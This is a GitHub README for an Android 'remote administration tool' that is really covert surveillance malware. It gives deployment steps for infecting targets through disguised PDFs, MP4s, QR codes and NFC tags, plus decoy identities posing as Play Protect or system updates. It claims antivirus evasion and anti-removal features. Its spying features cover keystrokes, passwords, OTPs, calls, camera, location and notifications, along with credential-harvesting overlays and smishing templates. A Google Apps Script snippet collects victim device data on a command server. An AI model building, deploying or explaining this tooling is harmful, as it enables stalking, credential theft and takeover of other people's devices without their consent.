GitHub - K4N3CO/Lab-RATS: Lab-RATS is a powerful and lightweight Android Remote Administration Tool full of features that enables remote monitoring, management and interaction through a sleek web interface and supports the newest modern Android releases.

Lightweight Android-Based Remote Administration Tool for Security: (L.A.B. - R.A.T.S)

Developed from the ground up by K4N3CO, Lab-RATS is an open-source, lightweight Android Remote Administration framework packed with powerful monitoring and interaction capabilities. The system automates the generation of custom, signed .apk files for deployment onto any Android device, providing full device telemetry via a sleek, web-based C2 dashboard. Built to adapt to strict modern mobile environments, it delivers a robust feature suite that operates reliably across both legacy and the newest Android releases.

📸 View Comparative Breakdown

Lab-RATS leverages the unique characteristics of publicly routable IPv6 addresses assigned by modern Wi-Fi and cellular (5G/LTE) carriers. By binding the control server directly to a device's Global Unicast Address (GUA), the tool completely bypasses Carrier-Grade NAT (CGNAT) and inbound firewall restrictions. This architecture enables seamless, Zero-Configuration peer-to-peer (P2P) remote access from any modern web browser worldwide—completely eliminating the need for router manipulation, port forwarding, or third-party tunneling services like Ngrok or Pinggy.

📸 View IPv6 Exploit Vector

Note

Lab-RATS now supports IPv4 connections by hosting on Render.com (Free Tier Supported). See "Command & Control Option 2" below for the setup guide.

Important

DEFAULT PASSWORD = admin1337

🔐 Remote C2 Security & Secure Handshake

C2 Security:
- The C2 Dashboard is protected with a secure login which can be changed directly from the Terminal/Home page. The Default Password should be reset immediately for enhanced security.
Secure Handshake:
- Uses a masked credential handshake. Passwords are reversed and Base64 encoded (0x_ prefixed) on the client-side before transmission, rendering them invisible to browser Network/Payload inspectors.

📦 Automated APK Generation, Identity Control & Density Scaling

Instant Build:
- Instantly build signed.apk for production and testing.
Full Customization:
- Fully customize App Name, Package ID, and Minimum SDK.
Density Scaling:
- Resize logos automatically for all Android screen densities.

📱 PC/Mobile Responsive

Adaptive Interface:
- The remote web interface is fully optimized for both PC and smartphone browsers, featuring a touch-friendly layout, adaptive navigation tabs, and scalable UI elements for monitoring from any device.

💉 APK Payload Delivery Vectors

Weaponization Engine:
- The Weaponization Engine has been overhauled to support multiple high-success delivery methods (Stealth PDF, Zero-Click MP4, Meeting Invite and Many More), ensuring reliable access across all modern mobile environments.

🛡️ Evasion Engine

AV/AVE Bypasses:
- Undetectable by Samsung Knox, McAfee and Google Play Protect.
Deep Stealth HTML Shield:
- The C2 dashboard utilizes Shadow DOM Cloaking and Base64 Payload Wrapping. Browser "Elements" inspection is zeroed-out, and the tactical structure is ghosted from analysts.
Web Hardening:
- Assets (JS/CSS) are minified and obfuscated; featuring anti-debugging loops and interaction locks (Right-Click, F12) to prevent unauthorized analysis.
Dynamic Code Obfuscation:
- Build-time randomization of logic flow and class names via ProGuard/R8 integration.
Encrypted Local Telemetry:
- Internal system logs are encrypted at build-time, rendering them unreadable to standard mobile forensic tools.

🎭 Stealth App Decoys

Remotely swap the entire Lab-RATS app identity and icon instantly using the "Masquerade Library" of convincing, fully functional Clones:

👀 Play Protect (Default):
- Used for initial install it simulates a system stability update and auto-grants all permissions (other than Accessibility services) during the process, achieving highly successful installs.
🧮 Calculator:
- Performs actual math with a tactical logic engine.
🌦️ Weather App:
- Displays real-time localized forecasts via Open-Meteo API.
🛡️ Software Update:
- Simulates a legitimate system update screen to build target trust.
🐭 Lab-Rats & System Stability Services:
- Completely unmasked and directly opens the C2 server interface on device.

☎️ Emergency Recovery & Self Healing

Dialer Unlock:
- Type *#1337# on the phone's keypad to unmask the Lab-RATS server interface back into view.
Hidden Backdoor:
- If the device is in stealth mode, rapidly tap the middle of the decoy screen 10 times to unlock the C2 server interface. (Reverts to stealth mode again once app is closed)
Self-Healing Engine:
- Automatically detects and repairs damaged service bindings or revoked permissions in the background.
Anti-Removal:
- On by default in the Ghost Tab, it prevents the user from uninstalling or force-stopping the app via Settings.

🔄 Remote Server Restart

Web UI Restart:
- One-click "RESTART_SERVER" button on the Terminal tab to refresh background services.
SMS Backdoor Trigger:
- Send an SMS/Text containing !RESTART_C2 to the device's number to force the server back online even if it was manually closed or killed by the OS.

👻 Task-List Ghosting & Dynamic OTA Camouflage

Recent Apps Ghosting:
- The app is hard-coded to be invisible in the Android "Recent Apps" list.
Dynamic OTA Camouflage:
- Generates random version names and codes that mimic legitimate system OTA updates.

👻 Ghost Operations

Ghost Control / Live Feed:
- Cast & Control the live screen remotely with NO "Consent Prompt" required.
Blackout Mode:
- A high-stealth mode designed to physically mask the target's device display while maintaining a NON-masked live remote feed. (Pair with Ghost Control for maximum stealth)
Ghost_Toast Overlays:
- Remotely deploy tactical, persistent pop-up overlays with fully customizable text (color, size, and screen positioning). Features multiple animation styles (pop, static, and side-scroll) alongside a high-intensity "Burnt_Toast" mode that floods the screen with randomized pop-ups to overwhelm the device.
Remote System Denial Lock:
- Deploy a persistent, full-screen security overlay to lock physical interaction and render the device inoperable until hard-reset/restarted or unlocked remotely from the C2 dashboard.
Live Keylogging & Sensitive Extraction:
- Intercept keystrokes and system text in real-time. Features Sensitive Info Highlighting (Passcodes, OTPs, Emails glow Red) and Deep Extraction for browser login info.

🧪 Exploit Factory

NFC Proximity Vector:
- Generate binary NDEF payloads for physical tags.
QR Visual Vector:
- Dedicated high-density QR code generator for independent URL delivery.
Smishing Library:
- Pre-configured tactical phishing templates.
Shadow Overlay Injection:
- Remotely inject functional, pixel-perfect credential-harvesting overlays to the device.

💀 Anti-Removal & Self Destruct

Anti-Removal Shield:
- High-speed, event-driven protection shield that Blocks Attempts to Uninstall or Force Stop the app.
Suicide (Self-Destruct):
- Remote-triggered persistent loop that wipes all local configuration and initiates a hard uninstallation of the C2 Core.

🛰️ Live GPS Tracking & Intel Stream

Live GPS Uplink:
- One-click uplink to open the device's exact real-time location using Google Maps.
Live Notification Stream:
- Intercept every app notification (WhatsApp, Telegram, RCS, System...etc) in a live feed.

📸 Tactical Surveillance Hub (Ultra-Stability)

Covert Video Recording:
- Stealthily record video without any user-facing activity.
Covert Photo Capture:
- Covert image capture integrated into the live stream.
Nightmode V2:
- Aggressive electronic brightening for low-light environments.

🎙️ Acoustics & Interception

Microphone & Call Recording:
- Timed or Live microphone recording and automated call recording for both incoming and outgoing calls.

📂 Advanced Data Uplink

Info Gathering:
- Access Call Logs, Contacts, Hardware Analytics, and Installed Apps remotely.
Integrated File Manager:
- Navigate, download, and manage files. Features an instant Search Bar and Category Filters.
Direct File Editor:
- Live-edit text, JSON, and log files directly on the device.

🖥️ Enhanced Remote Shell

The Terminal Tab's Built-in Shell has been overhauled for professional workflows:

Command History:
- Navigate previous commands instantly using Up/Down arrows.
Modernized Interface:
- Updated to root@Android prompt with an updated help menu.
Hardened I/O:
- Multi-stage retry logic and unique execution tracking for zero-latency command output.

📊 Telemetry & Reporting

C2 Auto-Reporting:
- Discrete reporting of Date & Time, Device ID, Connection Type (WiFi/Cellular), IP, Port, C2 Dashboard Link, Battery % and more to a centralized Google Sheet or Render C2.

🛠️ Termux Bridge Integration

Lab-RATS features a high-performance bridge to the Termux environment. If Termux is installed on the target device, the remote terminal can instantly elevate its capabilities:

Auto-Routing:
- Common commands like pkg, apt, pip, and python are routed through the bridge.
Unrestricted Tools:
- Install and run Python scripts, Nmap scans, or Metasploit from the C2 web terminal.
Persistent Environment:
- Full support for Termux's internal storage and standard Linux binaries.

Termux Bridge Issues:
"Termux allow-external-apps setting is disabled" (Most Common).
Fix:
On the Target Device open Termux and run:

echo "allow-external-apps = true" >> ~/.termux/termux.properties
termux-reload-settings

Lab-RATS supports TWO primary methods to Receive Data, Connect Remotely & Track your Devices.

☝🏻 Option 1: Google Sheet (Updated)

Best for Basic IP tracking & logging. NO server maintenance required!.

Create a New Google Sheet.
Go to Extensions → Apps Script and Paste in the Hybrid Snippet below:

function doGet(e) { return handleRequest(e); }
function doPost(e) { return 
handleRequest(e); }

function handleRequest(e) {
  try {
    var ss = SpreadsheetApp.getActiveSpreadsheet();
    var sheet = ss.getSheetByName("LabRATS Logs") || ss.insertSheet("LabRATS Logs");
    
    // Auto-initialize headers if new sheet
    if (sheet.getLastRow() == 0) {
      sheet.appendRow([
        "Timestamp", 
        "Model #", 
        "Connection Type", 
        "IP Address", 
        "Port", 
        "Active C2 Link", 
        "Battery", 
        "Stealth Status", 
        "Power", 
        "Free Storage"
      ]);
    }
    
    var data = (e.postData && e.postData.contents) ? JSON.parse(e.postData.contents) : e.parameter;
    
    var row = [
      new Date(),
      data.device || data.model || "Unknown",
      data.network || "Unknown",
      data.ip || "Unknown",
      data.port || "9191",
      data.link || "Handshake_Pending",
      data.battery || "0%",
      (data.stealth === true || 
data.stealth === "true") ? "ACTIVE" : "OFF",
      data.charging || "Discharging",
      data.storage || "Unknown"
    ];
    
    sheet.appendRow(row);
    return ContentService.createTextOutput("SUCCESS").setMimeType(ContentService.MimeType.TEXT);
  } catch (err) {
    return ContentService.createTextOutput("ERROR: " + err.message).setMimeType(ContentService.MimeType.TEXT);
  }
}

Click Deploy → New Deployment → Web App → Execute as Me (E-Mail) → Who has Access: Anyone.

Important

4. Copy the Google Webhook URL provided (e.g., https://script.google.com/macros/s/AKfycbwXQSVQ0dYdi...) and prepare to paste it into the APK-Builder when prompted for the C2 Webhook URL (Get Started Section Below).

📸 View Google Sheet Reporting Example

✌🏻 Option 2: Render Web Service (Tactical Node.js Backend)

Best for newer devices running Android 16/17, Professional Fleet Management & Automatic File Exfiltration.

1. Fork the Lab-RATS repository.
2. Create a New Web Service for Free on Render.com and connect your forked Lab-RATS repo.
3. Once connected, Set the Root Directory to c2-server/
4. Set the Build Command to npm install & the Start Command to npm start
5. Deploy!

Important

Once live, Copy your Render URL (e.g., https://labrats-github.onrender.com), and prepare to enter it into the APK-Builder when prompted for the C2 Webhook URL (Get Started Section Below).

🌐 Advantages of Option 2

Dual-Stack IP Binding:
- Full support for both IPv4 and IPv6 connections, enabling seamless C2 telemetry and reverse WebSocket tunneling across cellular carrier NAT64 and dual-stack Wi-Fi networks worldwide.
Exfiltration Vault:
- Audio/Video recordings are automatically uploaded and stored on your server.
Live Fleet List:
- A professional dashboard to manage all devices in one place, with editable device name for easy device recognition and NEW 'Quick Action' pull-down menu to deploy some features without directly connecting.
Dynamic Sync:
- Heartbeat reporting ensures your P2P links are always up-to-date.

📸 View Render Setup

📸 View Render C2 Screenshot

To Build, Compile, and Deploy Lab-RATS or Host the C2 server, ensure your Environment meets the following requirements:

🛠️ 1. Workstation & Build Requirements (To Build APKs)

Java Development Kit (JDK):
- JDK 17 or JDK 21 (JDK 21 recommended). Ensure JAVA_HOME is set in your environment paths.
Android SDK:
- Android SDK 34 (API Level 34) or higher. Build-Tools version 34.0.0 or higher (includes aapt2, zipalign, and apksigner).
Python 3.x:
- Required for Option 7: Smali Surgery & APK Binder (binder.py).
Gradle:
- Handled automatically via the included ./gradlew (Gradle 8.10+).

☁️ 2. C2 Server Hosting Requirements (For Option 2: Render.com/Railway)

Node.js:
- v18.0.0 or higher.
npm:
- v9.0.0 or higher.
Render / Linux Hosting:
- 512 MB RAM minimum (Render Free Tier supported).

📱 3. Android Device Compatibility

Minimum OS:
- Android 5.0 (Lollipop/API 21) or higher.
Target OS:
- Android 14 - 17 (API 34 - 37) fully supported.
Supported Devices:
- Samsung, Google Pixel, OnePlus, Xiaomi, Motorola, HTC, LG, and generic Android devices/emulators.

💻 4. Operating System Compatibility

🐧 Linux:
- Kali Linux, Ubuntu, Debian, Arch (Full support for build scripts & C2 server).
🍎 macOS:
- macOS Monterey / Ventura / Sonoma / Sequoia (Intel & Apple Silicon M1/M2/M3/M4).
🪟 Windows:
- Windows 10 / 11 via PowerShell, Command Prompt, or WSL2.

1. Build the APK (on PC)

Download the Repository: git clone https://github.com/K4N3CO/Lab-RATS.git
Navigate to: cd /Lab-RATS/apk-builder/
Execute the Builder:
- Mac/Linux: chmod +x build.sh && ./build.sh
- Windows: build.bat
Select a Build Strategy:
- Option 1 (Manual): For standard configuration of App Name, ID, and Logo before building.
- Option 6 (Infection Chain Wizard): For the Full Build → Host → Weaponize flow.

Important

5. Enter your Google Sheet Webhook URL or Render URL when prompted to enable remote device IP reporting and connections ("Command & Control Options" section above).

Retrieve your signed.apk (and any weaponized payloads like PDFs or MP4s) from Lab-RATS/apk-builder/output/

📸 View APK-Builder Menu

2. Deploy & Install onto Android Devices

Deployment is a Multi-stage process involving Weaponization, Hosting, and Execution.

📑 Strategic Weaponization (The Wrapper)

Standard .apk files are often blocked by email filters and browser security. Use the Infection Chain Wizard (Option 6) in the apk-builder tool to wrap your link inside a high-compatibility carrier file:

📑 Stealth PDF:
- Send to targets via Email or Drive. Utilizes URI Actions instead of JavaScript to trigger an automatic browser-based download, bypassing standard PDF security filters.
🎬 Zero-Click MP4:
- Send as a video file. Exploits mobile Media Heap Overflows during gallery indexing or thumbnail generation to force-register the C2 link in the background.
🔳 QR Code / 📡 NFC:
- Best for physical placement or "Tap-to-Infect" proximity delivery. Generates a high-density QR or NDEF record pointing to the hardened delivery URL.
And Many More:
- The Wizard also supports ADB Strategic Bridge, Stego Image Tails, PWA Manifests, and Office Document macros.

🌐 Hosting Strategies

Anonymous Cloud:
- Option 6 uses Catbox.moe by default. It is anonymous, fast, and generates a direct link. Features fallback hosting on Litterbox or Tmpfiles if Catbox.moe fails.
P2P Direct:
- Host the APK directly from your PC using a public tunnel, or from another infected device using the /download/ endpoint.

🚀 Installation & Initialization

Once the target device downloads the APK:

1. Manual Sideload:
- If you have physical access to the device, use adb install signed.apk
2. 'One-Click' Permission Granting (CRITICAL):
- Open the app ONCE. Only the initial Pop-up (Accessibility Services) must be manually toggled on; ALL other permissions are now auto-granted by the system using a convincing security sequence.
3. Remote Permission Prompt:
- If a user removes any permissions, you can remotely trigger the system prompts again using the repair buttons in the GHOST UTILITIES section.
4. Self-Vanishing:
- A few seconds after launch, the app will automatically replace its icon and name with the decoy you chose during build ("System Update", "Calculator"...etc).
5. Uplink Confirmation:
- Check your Google Sheet or Render C2. Within 5 seconds of initialization, the Device ID, Connection Type, IP, Port, C2 Dashboard Link, Battery % and more will appear in the log.

File	Subject & Contents
00-Quickstart.md	3-step quickstart guide from clone to live dashboard connection.
01-Requirements.md	Workstation build host, JDK, Android SDK, and device compatibility.
02-Building Payloads.md	Builder menu options, configuration keys, and decoy personas.
03-C2 Deployment.md	C2 deployment options: Render C2 relay, Direct IP, Google Sheets.
04-Device HTTP-API.md	Device HTTP API reference for control endpoints.
05-Dashboard Reference.md	Overview of the 13 C2 dashboard tabs and features.
06-Stealth and Persistence.md	Decoy personas, 10-tap backdoor, watchdog layers, and anti-removal.
07-Troubleshooting.md	Solutions for common build, installation, and connection issues.
08-Architecture.md	High-level system architecture diagram and component map.
09-Security Notes.md	Security considerations, authentication, and forensic reduction.
10-FAQ.md	Frequently asked questions and answers.
11-Maintaining Your Fork.md	Guidelines for rebranding and syncing upstream updates.
12-Server Setup.md	C2 server setup guide for Render.com and Linux VPS.
13-Direct IPv6 Hardening.md	Direct IPv6 connection & pre-flight security hardening guide.
14-Free IPv6 Hosting.md	Free hosting provider comparison.

If you find Lab-RATS Awesome and Useful for your Testing & Security Research, Please Star ⭐ the project—it drives further development!

Bug Reports, Add New Feature and Pull Requests are Always Welcome! (See CONTRIBUTING.md for more info).

Git Clone & APK-Builder Example (MacBook-Air M2):

APK_Builder.mov

NEW! Masked 'One-Click' Initial Install Sequence (Samsung Flip 7)

Initial_Install.mov

Remote C2 Dashboard - Remote Shell & Decoys:

RemoteShell_Decoys.mov

Remote C2 Dashboard - Ghost Ops & Locate:

Ghost_Operations.Locate.1.mov

Remote C2 Dashboard - Covert Camera Hub:

Covert_Camera.mov